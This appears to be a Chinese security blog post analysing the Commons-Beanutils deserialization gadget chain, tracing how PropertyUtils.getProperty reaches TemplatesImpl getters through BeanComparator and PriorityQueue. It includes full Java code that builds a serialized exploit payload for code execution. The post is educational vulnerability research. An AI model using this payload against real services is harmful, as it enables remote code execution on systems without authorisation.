Java安全 - Commons-Beanutils链

Commons-Beanutils

这个包是对Java Bean进行加强的

依赖

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>

Java Bean 类

Java Bean是一种规范,准确的说是一种Java类的书写规范,满足以下条件的Java类可以称之为Java Bean

1、成员变量均使用private关键字进行修饰

2、提供构造方法(有参/无参)

3、为每个成员变量提供set/get方法

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class Student {
private String name;
private int sid;
private int age;

public Student(String name, int sid, int age) {
this.name = name;
this.sid = sid;
this.age = age;
}

public Student() {
}

public void setName(String name) {
this.name = name;
}

public void setSid(int sid) {
this.sid = sid;
}

public void setAge(int age) {
this.age = age;
}

public String getName() {
return name;
}

public int getSid() {
return sid;
}

public int getAge() {
return age;
}
}
// 分别定义了空参/有参的构造函数,该类有三个成员变量均使用了private关键字修饰为私有,并为每个成员都提供了set/get方法,所以该类可以称为Java Bean类。
// get/set方法的作用是,在对象的成员变量进行取值或赋值操作时提供了一个标准的接口

image

链子

而有了CB这个包,就可以用以下形式来直接动态获取值

1
System.out.println(PropertyUtils.getProperty(student, "name"));

image

这里断点进去看看是如何实现传入name​就调用getName​方法的

进去后发现会去调用getNestedProperty

image

跟进后发现他是去判断我们传入的类是什么类型的,如果都不属于下图中类就调用getSimpleProperty​方法

image

然后也是进去一系列判断如果都不属于这些类就调用getPropertyDescriptor​方法

image

而这个就是重点方法了,这里其实不需要去看他怎么实现的,他会返回PropertyDescriptor类​我们直接看他返回的对象descriptor​即可

image

可以发现他返回了几个属性,恰好就是setter getter方法名字

再接着往下就是获取方法的名字,然后去调用641行的反射

image

image

所以到这里我们又可以想象Fastjson​一样,假设谁的 PropertyUtils.getProperty​ 传参是可控的,那么找到一个函数的 getter 是有危险行为的,那么通过CB链就可以去触发导致代码执行(而在Fastjson中也是有这种情况发生,所以后半段恶意类加载就可以利用TemplatesImpl​链来完成)

我们可以来写一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field facField = tc.getDeclaredField("_tfactory");
facField.setAccessible(true);
facField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

image

那么现在已经后半条链已经衔接好了,现在就是去找jdk跟CB依赖中进行衔接的反序列化点

也就是去找谁去调用了getProperty​方法

于是找到了 commons-beanutils-1.8.3.jar!\org\apache\commons\beanutils\BeanComparator#compare()​方法

image

这写法跟CC4的太像了真的,所以找到compare()​就可以联想到CC4的入口直接拼起来就可以串起来了

其实在这里我一直有个疑问,就是这个compare()​到底是否可控,因为他传两个参数我并不知道是在哪里可以控制的,调试了下也明白了,如下图

可以发现在721行是将x​传入,那么x​怎么进来的呢?

image

在上一个方法中就把x​传进来了

image

image

heapify​中就传了对象,再往上跟就是readObject​了,而在heapify​中进行了数组的右移所以可以寻找到该属性通过 priorityQueue.add(templates);​传入的类,如果我们传入 3​ 就会不一样了

image

就会变成数字类3​ 这也就是为什么我们队列这里要写入TemplatesImpl​类,这样子才能去调用到TemplatesImpl​类的getter方法

那么直接写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

// CB
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

//CC2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);


Class c = priorityQueue.getClass();
Field comfield = c.getDeclaredField("comparator");
comfield.setAccessible(true);
comfield.set(priorityQueue,beanComparator);



serialize(priorityQueue);

CB的时候要生成CC跟CB都有的类,以下是组长整理的

image

流程图

image


Java安全 - Commons-Beanutils链
https://zjackky.github.io/post/java-security-commons-beanutils-nqgk3.html
作者
Zjacky
发布于
2023年12月14日
许可协议